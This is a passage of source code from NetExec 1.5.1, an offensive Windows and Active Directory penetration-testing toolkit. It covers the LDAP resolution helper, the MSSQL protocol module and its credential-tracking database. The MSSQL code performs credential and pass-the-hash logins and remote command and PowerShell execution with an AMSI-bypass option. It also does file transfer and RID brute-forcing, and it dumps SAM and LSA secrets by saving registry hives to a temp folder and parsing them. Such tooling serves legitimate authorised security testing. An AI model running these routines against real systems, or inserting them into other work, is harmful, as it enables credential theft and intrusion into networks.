gmsa if no gmsa provided") ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud") bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan") bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma") return parser NetExec-1.5.1/nxc/protocols/ldap/resolution.py000066400000000000000000000045421514706431700213770ustar00rootroot00000000000000from re import sub, I from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from OpenSSL.SSL import SysCallError from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldapasn1 as ldapasn1_impacket from nxc.parsers.ldap_results import parse_result_attributes from nxc.logger import nxc_logger class LDAPResolution: def __init__(self, host): self.host = host def get_resolution(self): target = "" target_domain = "" base_dn = "" try: ldap_url = f"ldap://{self.host}" nxc_logger.info(f"Connecting to {ldap_url} with no baseDN") try: self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) if self.ldap_connection: nxc_logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: nxc_logger.fail(f"LDAP connection to {ldap_url} failed: {e}") return False resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], sizeLimit=0, ) resp_parsed = parse_result_attributes(resp)[0] target = resp_parsed["dnsHostName"] base_dn = resp_parsed["defaultNamingContext"] target_domain = sub( r",DC=", ".", base_dn[base_dn.lower().find("dc="):], flags=I, )[3:] # Extract machine name from target (hostname part of FQDN) if target: machine_name = target.split(".")[0] nxc_logger.debug(f"Extracted machine name: {machine_name}") self.ldap_connection.close() except ConnectionRefusedError as e: nxc_logger.debug(f"{e} on host {self.host}") return False except OSError as e: if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): nxc_logger.info(f"Error connecting to {self.host} - {e}") return False else: nxc_logger.error(f"Error getting ldap info {e}") nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}") return machine_name, target_domain NetExec-1.5.1/nxc/protocols/mssql.py000077500000000000000000000646471514706431700174320ustar00rootroot00000000000000import os import random import contextlib from termcolor import colored from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.connection import requires_admin from nxc.helpers.misc import gen_random_string from nxc.logger import NXCAdapter from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.ntlm_parser import parse_challenge from nxc.helpers.powershell import create_ps_command from nxc.protocols.mssql.mssqlexec import MSSQLEXEC from impacket import tds, ntlm from impacket.krb5.ccache import CCache from impacket.dcerpc.v5.dtypes import SID from impacket.tds import ( SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF ) from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes class mssql(connection): def __init__(self, args, db, host): self.mssql_instances = [] self.domain = "" self.targetDomain = "" self.server_os = None self.hash = None self.os_arch = None self.nthash = "" self.is_mssql = False connection.__init__(self, args, db, host) def proto_logger(self): self.logger = NXCAdapter( extra={ "protocol": "MSSQL", "host": self.host, "port": self.port, "hostname": "None", } ) def create_conn_obj(self): try: self.conn = tds.MSSQL(self.host, self.port, self.remoteName) self.conn.connect(self.args.mssql_timeout) except Exception as e: self.logger.debug(f"Error connecting to MSSQL service on host: {self.host}, reason: {e}") with contextlib.suppress(Exception): self.conn.disconnect() return False else: self.is_mssql = True return True def reconnect_mssql(func): def wrapper(self, *args, **kwargs): with contextlib.suppress(Exception): self.conn.disconnect() self.create_conn_obj() return func(self, *args, **kwargs) return wrapper def check_if_admin(self): self.admin_privs = False try: results = self.conn.sql_query("SELECT IS_SRVROLEMEMBER('sysadmin')") is_admin = int(results[0][""]) except Exception as e: self.logger.fail(f"Error querying for sysadmin role: {e}") else: if is_admin: self.admin_privs = True @reconnect_mssql def enum_host_info(self): challenge = None try: # If the MSSQL Server responds with a TDS_ENCRYPT_REQ or TDS_ENCRYPT_OFF then we need to setup a TLS context resp = self.conn.preLogin() self.encryption = False if resp["Encryption"] == TDS_ENCRYPT_REQ or resp["Encryption"] == TDS_ENCRYPT_OFF: # We switch to a TLS context handled by tds.py self.conn.set_tls_context() self.encryption = True login = tds.TDS_LOGIN() login["HostName"] = "" login["AppName"] = "" login["ServerName"] = self.conn.server.encode("utf-16le") login["CltIntName"] = login["AppName"] login["ClientPID"] = random.randint(0, 1024) login["PacketSize"] = self.conn.packetSize login["OptionFlags2"] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate auth = ntlm.getNTLMSSPType1("", "") login["SSPI"] = auth.getData() login["Length"] = len(login.getData()) # Get number of mssql instance self.mssql_instances = self.conn.getInstances(0) # Send the NTLMSSP Negotiate or SQL Auth Packet self.conn.sendTDS(tds.TDS_LOGIN7, login.getData()) # According to the specs, if encryption is TDS_ENCRYPT_OFF, we must encrypt the first Login packet if resp["Encryption"] == TDS_ENCRYPT_OFF: self.encryption = False self.conn.tlsSocket = None tdsx = self.conn.recvTDS() challenge = tdsx["Data"][3:] self.logger.debug(f"NTLM challenge: {challenge!s}") except Exception as e: self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}") return False else: ntlm_info = parse_challenge(challenge) self.targetDomain = self.domain = ntlm_info["domain"] self.hostname = ntlm_info["hostname"] self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" if not self.kdcHost and self.domain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") def print_host_info(self): encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"]) self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption})") @reconnect_mssql def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username self.password = password self.domain = domain self.nthash = "" hashes = None if ntlm_hash: if ntlm_hash.find(":") != -1: self.nthash = ntlm_hash.split(":")[1] hashes = f":{self.nthash}" else: self.nthash = ntlm_hash hashes = f":{self.nthash}" kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else "" if useCache and kerb_pass == "": ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0] self.username = username used_ccache = " from ccache" if useCache else f"{process_secret(kerb_pass)}" try: res = self.conn.kerberosLogin( None, self.username, self.password, self.domain, hashes, aesKey, kdcHost=kdcHost, useCache=useCache, ) if res is not True: raise self.check_if_admin() self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}") if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config) return True except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False except Exception: error_msg = self.handle_mssql_reply() self.logger.fail(f"{self.domain}\\{self.username}:{used_ccache} {error_msg if error_msg else ''}") return False @reconnect_mssql def plaintext_login(self, domain, username, password): self.password = password self.username = username self.domain = domain try: res = self.conn.login(None, self.username, self.password, self.domain, None, not self.args.local_auth) if res is not True: raise self.check_if_admin() self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") self.db.add_credential("plaintext", self.domain, self.username, self.password) user_id = self.db.get_credential("plaintext", domain, self.username, self.password) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id) add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config) return True except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False except Exception: error_msg = self.handle_mssql_reply() self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {error_msg if error_msg else ''}") return False @reconnect_mssql def hash_login(self, domain, username, ntlm_hash): self.username = username self.domain = domain self.lmhash = "" self.nthash = "" if ntlm_hash.find(":") != -1: self.lmhash, self.nthash = ntlm_hash.split(":") else: self.nthash = ntlm_hash try: res = self.conn.login(None, self.username, "", self.domain, f"{self.lmhash}:{self.nthash}", not self.args.local_auth) if res is not True: raise self.check_if_admin() self.logger.success(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}") self.db.add_credential("hash", self.domain, self.username, self.nthash) user_id = self.db.get_credential("hash", domain, self.username, self.nthash) host_id = self.db.get_hosts(self.host)[0].id self.db.add_loggedin_relation(user_id, host_id) if not self.args.local_auth and self.username != "": add_user_bh(self.username, self.domain, self.logger, self.config) if self.admin_privs: self.db.add_admin_user("hash", domain, self.username, self.nthash, self.host, user_id=user_id) add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config) return True except BrokenPipeError: self.logger.fail("Broken Pipe Error while attempting to login") return False except Exception: error_msg = self.handle_mssql_reply() self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {error_msg if error_msg else ''}") return False def query(self): if self.conn.lastError: # Invalid connection self.logger.debug(f"Cannot execute query due to invalid connection: {self.conn.lastError}") return None self.logger.info(f"Query to run: {self.args.query}") try: raw_output = self.conn.sql_query(self.args.query) self.logger.debug(f"Raw output: {raw_output}") if self.conn.lastError: self.logger.debug(f"Error during query execution: {self.conn.lastError}") self.logger.fail(self.conn.lastError) else: for data in raw_output: for key, value in data.items(): if key: self.logger.highlight(f"{key}:{value}") else: self.logger.highlight(f"{value}") except Exception as e: self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}") return None return raw_output @requires_admin def execute(self, payload=None, get_output=False): payload = self.args.execute if not payload and self.args.execute else payload if not payload: self.logger.error("No command to execute specified!") return None get_output = True if not self.args.no_output else get_output self.logger.debug(f"{get_output=}") output = "" try: exec_method = MSSQLEXEC(self.conn, self.logger) output = exec_method.execute(payload) self.logger.debug(f"Output: {output}") except Exception as e: self.logger.fail(f"Execute command failed, error: {e!s}") return False else: if self.conn.lastError: self.logger.fail(f"Error during command execution: {self.conn.lastError}") else: self.logger.success("Executed command via mssqlexec") for line in output.splitlines(): self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, obfs=False, encode=False): payload = self.args.ps_execute if not payload and self.args.ps_execute else payload if not payload: self.logger.error("No command to execute specified!") return None response = [] obfs = obfs if obfs else self.args.obfs encode = encode if encode else not self.args.no_encode force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32 get_output = True if not self.args.no_output else get_output self.logger.debug(f"Starting PS execute: {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}") amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None self.logger.debug(f"AMSI Bypass: {amsi_bypass}") if os.path.isfile(payload): self.logger.debug(f"File payload set: {payload}") with open(payload) as commands: response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output) for c in commands] else: response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output)] self.logger.debug(f"ps_execute response: {response}") return response @requires_admin def put_file(self): self.logger.display(f"Copy {self.args.put_file[0]} to {self.args.put_file[1]}") with open(self.args.put_file[0], "rb") as f: try: data = f.read() self.logger.display(f"Size is {len(data)} bytes") exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.put_file(data, self.args.put_file[1]) if exec_method.file_exists(self.args.put_file[1]): self.logger.success("File has been uploaded on the remote machine") else: self.logger.fail("File does not exist on the remote system... error during upload") except Exception as e: self.logger.fail(f"Error during upload : {e}") @requires_admin def get_file(self): remote_path = self.args.get_file[0] download_path = self.args.get_file[1] self.logger.display(f'Copying "{remote_path}" to "{download_path}"') try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.get_file(self.args.get_file[0], self.args.get_file[1]) self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') except Exception as e: self.logger.fail(f'Error reading file "{remote_path}": {e}') if os.path.getsize(download_path) == 0: os.remove(download_path) # We hook these functions in the tds library to use nxc's logger instead of printing the output to stdout # The whole tds library in impacket needs a good overhaul to preserve my sanity def handle_mssql_reply(self): for keys in self.conn.replies: for _i, key in enumerate(self.conn.replies[keys]): if key["TokenType"] == TDS_ERROR_TOKEN: error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')" self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}") return error_msg elif key["TokenType"] == TDS_INFO_TOKEN: return f"({key['MsgText'].decode('utf-16le')})" elif key["TokenType"] == TDS_LOGINACK_TOKEN: return f"(ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) )" elif key["TokenType"] == TDS_ENVCHANGE_TOKEN and key["Type"] in ( TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE, ): record = TDS_ENVCHANGE_VARCHAR(key["Data"]) if record["OldValue"] == "": record["OldValue"] = "None".encode("utf-16le") elif record["NewValue"] == "": record["NewValue"] = "None".encode("utf-16le") if key["Type"] == TDS_ENVCHANGE_DATABASE: _type = "DATABASE" elif key["Type"] == TDS_ENVCHANGE_LANGUAGE: _type = "LANGUAGE" elif key["Type"] == TDS_ENVCHANGE_CHARSET: _type = "CHARSET" elif key["Type"] == TDS_ENVCHANGE_PACKETSIZE: _type = "PACKETSIZE" else: _type = f"{key['Type']:d}" return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})" def rid_brute(self, max_rid=None): entries = [] if not max_rid: max_rid = int(self.args.rid_brute) try: # Query domain domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""] # Query known group to determine raw SID & convert to canon raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] except Exception as e: self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") so_far = 0 simultaneous = 1000 for _j in range(max_rid // simultaneous + 1): sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous if sids_to_check == 0: break # Batch query multiple sids at a time sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)] raw_output = self.conn.sql_query(";".join(sid_queries)) for n, item in enumerate(raw_output): username = item[""] if username == "NULL": continue rid = so_far + n self.logger.highlight(f"{rid}: {username}") entries.append( { "rid": rid, "domain": domain, "username": username.split("\\")[1], } ) so_far += simultaneous return entries def _qname(self, ident: str) -> str: if ident is None: return "[]" return "[" + str(ident).replace("]", "]]") + "]" def list_databases(self): try: q = ( "SELECT d.name AS DatabaseName, " " suser_sname(d.owner_sid) AS Owner " "FROM sys.databases d " "ORDER BY d.name;" ) rows = self.conn.sql_query(q) or [] if not rows: self.logger.display("No databases returned") return self.logger.display("Enumerated databases") self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}") self.logger.highlight(f"{'-' * 30} {'-' * 25}") for r in rows: self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}") self.logger.highlight(f"Total: {len(rows)} database(s)") except Exception as e: self.logger.fail(f"Failed to enumerate databases: {e}") self.logger.debug("list_databases error", exc_info=True) def database(self): db_arg = self.args.database # nxc --database (no value) -> list if db_arg is True or db_arg is None: self.list_databases() return # nxc --database -> tables if isinstance(db_arg, str): try: safe = db_arg.replace("'", "''") exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") if not exists: self.logger.fail(f"Database [{db_arg}] does not exist on the server.") return tq = ( f"SELECT t.name AS TableName, t.modify_date " f"FROM {self._qname(db_arg)}.sys.tables t " f"ORDER BY t.name;" ) rows = self.conn.sql_query(tq) or [] except Exception as e: self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}") self.logger.debug("database() error", exc_info=True) return if not rows: self.logger.display(f"Database [{db_arg}] has no user tables.") return self.logger.display(f"Tables in database: {db_arg}") self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}") self.logger.highlight(f"{'-' * 50} {'-' * 25}") for r in rows: mod = r.get("modify_date", "") if mod and hasattr(mod, "strftime"): mod = mod.strftime("%Y-%m-%d %H:%M:%S") self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}") self.logger.highlight(f"Total: {len(rows)} table(s)") return @requires_admin def sam(self): sam_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SAM C:\\windows\\temp\\{sam_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" clean_command = f"del C:\\windows\\temp\\{sam_storename} && del C:\\windows\\temp\\{system_storename}" output_filename = self.output_file_template.format(output_folder="sam") try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.execute(dump_command) exec_method.get_file(f"C:\\windows\\temp\\{sam_storename}", f"{output_filename}.sam") exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") exec_method.execute(clean_command) except Exception as e: self.logger.fail(f"Failed to dump SAM database, error: {e!s}") self.logger.debug(f"Error dumping SAM: {e}", exc_info=True) else: if not (os.path.exists(f"{output_filename}.sam") and os.path.getsize(f"{output_filename}.sam") > 0) \ or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): self.logger.fail("SAM or SYSTEM hive could not be dumped, privs may not be sufficient.") return self.logger.display("Dumping SAM hashes") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() SAM = SAMHashes( f"{output_filename}.sam", boot_key, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret), ) SAM.dump() SAM.export(output_filename) @requires_admin def lsa(self): security_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" clean_command = f"del C:\\windows\\temp\\{security_storename} && del C:\\windows\\temp\\{system_storename}" output_filename = self.output_file_template.format(output_folder="lsa") try: exec_method = MSSQLEXEC(self.conn, self.logger) exec_method.execute(dump_command) exec_method.get_file(f"C:\\windows\\temp\\{security_storename}", f"{output_filename}.security") exec_method.get_file(f"C:\\windows\\temp\\{system_storename}", f"{output_filename}.system") exec_method.execute(clean_command) except Exception as e: self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}") self.logger.debug(f"Error dumping LSA: {e}", exc_info=True) else: if not (os.path.exists(f"{output_filename}.security") and os.path.getsize(f"{output_filename}.security") > 0) \ or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.") return self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() LSA = LSASecrets( f"{output_filename}.security", boot_key, None, isRemote=None, perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), ) LSA.dumpCachedHashes() LSA.dumpSecrets() NetExec-1.5.1/nxc/protocols/mssql/000077500000000000000000000000001514706431700170345ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/mssql/__init__.py000077500000000000000000000000001514706431700211360ustar00rootroot00000000000000NetExec-1.5.1/nxc/protocols/mssql/database.py000077500000000000000000000322251514706431700211610ustar00rootroot00000000000000import warnings from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, update, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning from sqlalchemy.orm import declarative_base from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger # if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings warnings.filterwarnings("ignore", category=SAWarning) Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): self.HostsTable = None self.UsersTable = None self.AdminRelationsTable = None super().__init__(db_engine) class Host(Base): __tablename__ = "hosts" id = Column(Integer) ip = Column(String) hostname = Column(String) domain = Column(String) os = Column(String) instances = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ) class AdminRelation(Base): __tablename__ = "admin_relations" id = Column(Integer) userid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["userid"], ["users.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) class User(Base): __tablename__ = "users" id = Column(Integer) credtype = Column(String) domain = Column(String) username = Column(String) password = Column(String) pillaged_from_hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]), ) class LoggedInRelation(Base): __tablename__ = "loggedin_relations" id = Column(Integer) userid = Column(Integer) hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), ForeignKeyConstraint(["userid"], ["users.id"]), ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): self.HostsTable = self.reflect_table(self.Host) self.UsersTable = self.reflect_table(self.User) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) def add_host(self, ip, hostname, domain, os, instances): """ Check if this host has already been added to the database, if not, add it in. TODO: return inserted or updated row ids as a list """ nxc_logger.debug(f"{domain} {ip} {os} {instances}") if not domain: domain = "" hosts = [] q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) results = self.db_execute(q).all() nxc_logger.debug(f"mssql add_host() - hosts returned: {results}") host_data = { "ip": ip, "hostname": hostname, "domain": domain, "os": os, "instances": instances, } if not results: hosts = [host_data] else: for host in results: host_data = host._asdict() if ip is not None: host_data["ip"] = ip if hostname is not None: host_data["hostname"] = hostname if domain is not None: host_data["domain"] = domain if os is not None: host_data["os"] = os if instances is not None: host_data["instances"] = instances if host_data not in hosts: hosts.append(host_data) nxc_logger.debug(f"Update Hosts: {hosts}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.HostsTable) update_columns = {col.name: col for col in q.excluded if col.name not in "id"} q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns) self.db_execute(q, hosts) def add_credential(self, credtype, domain, username, password, pillaged_from=None): """Check if this credential has already been added to the database, if not add it in.""" credential_data = {} if credtype is not None: credential_data["credtype"] = credtype if domain is not None: credential_data["domain"] = domain if username is not None: credential_data["username"] = username if password is not None: credential_data["password"] = password if pillaged_from is not None: credential_data["pillaged_from"] = pillaged_from q = select(self.UsersTable).filter( func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), func.lower(self.UsersTable.c.credtype) == func.lower(credtype), ) results = self.db_execute(q).all() if not results: user_data = { "domain": domain, "username": username, "password": password, "credtype": credtype, "pillaged_from_hostid": pillaged_from, } q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id) self.db_execute(q) # .first() else: for user in results: # might be able to just remove this if check, but leaving it in for now if not user[3] and not user[4] and not user[5]: q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id) results = self.db_execute(q) # .first() nxc_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})") def remove_credentials(self, creds_id): """Removes a credential ID from the database""" del_hosts = [] for cred_id in creds_id: q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id) del_hosts.append(q) self.db_execute(q) def add_admin_user(self, credtype, domain, username, password, host, user_id=None): if user_id: q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id) users = self.db_execute(q).all() else: q = select(self.UsersTable).filter( self.UsersTable.c.credtype == credtype, func.lower(self.UsersTable.c.domain) == func.lower(domain), func.lower(self.UsersTable.c.username) == func.lower(username), self.UsersTable.c.password == password, ) users = self.db_execute(q).all() nxc_logger.debug(f"Users: {users}") like_term = func.lower(f"%{host}%") q = q.filter(self.HostsTable.c.ip.like(like_term)) hosts = self.db_execute(q).all() nxc_logger.debug(f"Hosts: {hosts}") if users is not None and hosts is not None: for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} q = select(self.AdminRelationsTable).filter( self.AdminRelationsTable.c.userid == user_id, self.AdminRelationsTable.c.hostid == host_id, ) links = self.db_execute(q).all() if not links: self.db_execute(insert(self.AdminRelationsTable).values(link)) def get_admin_relations(self, user_id=None, host_id=None): if user_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id) elif host_id: q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id) else: q = select(self.AdminRelationsTable) return self.db_execute(q).all() def remove_admin_relation(self, user_ids=None, host_ids=None): q = delete(self.AdminRelationsTable) if user_ids: for user_id in user_ids: q = q.filter(self.AdminRelationsTable.c.userid == user_id) elif host_ids: for host_id in host_ids: q = q.filter(self.AdminRelationsTable.c.hostid == host_id) self.db_execute(q) def is_credential_valid(self, credential_id): """Check if this credential ID is valid.""" q = select(self.UsersTable).filter( self.UsersTable.c.id == credential_id, self.UsersTable.c.password is not None, ) results = self.db_execute(q).all() return len(results) > 0 def get_credentials(self, filter_term=None, cred_type=None): """Return credentials from the database.""" # if we're returning a single credential by ID if self.is_credential_valid(filter_term): q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) elif cred_type: q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) # if we're filtering by username elif filter_term and filter_term != "": like_term = func.lower(f"%{filter_term}%") q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) # otherwise return all credentials else: q = select(self.UsersTable) return self.db_execute(q).all() def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, self.UsersTable.c.username == username, self.UsersTable.c.password == password, self.UsersTable.c.credtype == cred_type, ) results = self.db_execute(q).first() return results.id def is_host_valid(self, host_id): """Check if this host ID is valid.""" q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) results = self.db_execute(q).all() return len(results) > 0 def get_hosts(self, filter_term=None, domain=None): """Return hosts from the database.""" q = select(self.HostsTable) # if we're returning a single host by ID if self.is_host_valid(filter_term): q = q.filter(self.HostsTable.c.id == filter_term) results = self.db_execute(q).first() # all() returns a list, so we keep the return format the same so consumers don't have to guess return [results] # if we're filtering by domain controllers elif filter_term == "dc": q = q.filter(self.HostsTable.c.dc is True) if domain: q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) return self.db_execute(q).all() def add_loggedin_relation(self, user_id, host_id): relation_query = select(self.LoggedinRelationsTable).filter( self.LoggedinRelationsTable.c.userid == user_id, self.LoggedinRelationsTable.c.hostid == host_id, ) results = self.db_execute(relation_query).all() # only add one if one doesn't already exist if not results: relation = {"userid": user_id, "hostid": host_id} try: nxc_logger.debug(f"Inserting loggedin_relations: {relation}") # TODO: find a way to abstract this away to a single Upsert call q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) self.db_execute(q, [relation]) # .scalar() inserted_id_results = self.get_loggedin_relations(user_id, host_id) nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}") return inserted_id_results[0].id except Exception as e: nxc_logger.debug(f"Error inserting LoggedinRelation: {e}") def get_loggedin_relations(self, user_id=None, host_id=None): q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) if host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) return self.db_execute(q).all() def remove_loggedin_relations(self, user_id=None, host_id=None): q = delete(self.LoggedinRelationsTable) if user_id: q = q.filter(self.LoggedinRelationsTable.c.userid == user_id) elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) NetExec-1.5.1/nxc/protocols/mssql/db_navigator.py000066400000000000000000000132761514706431700220560ustar00rootroot00000000000000from nxc.helpers.misc import validate_ntlm from nxc.nxcdb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] for cred in creds: links = self.db.get_admin_relations(user_id=cred[0]) data.append( [ cred[0], # cred_id str(len(links)) + " 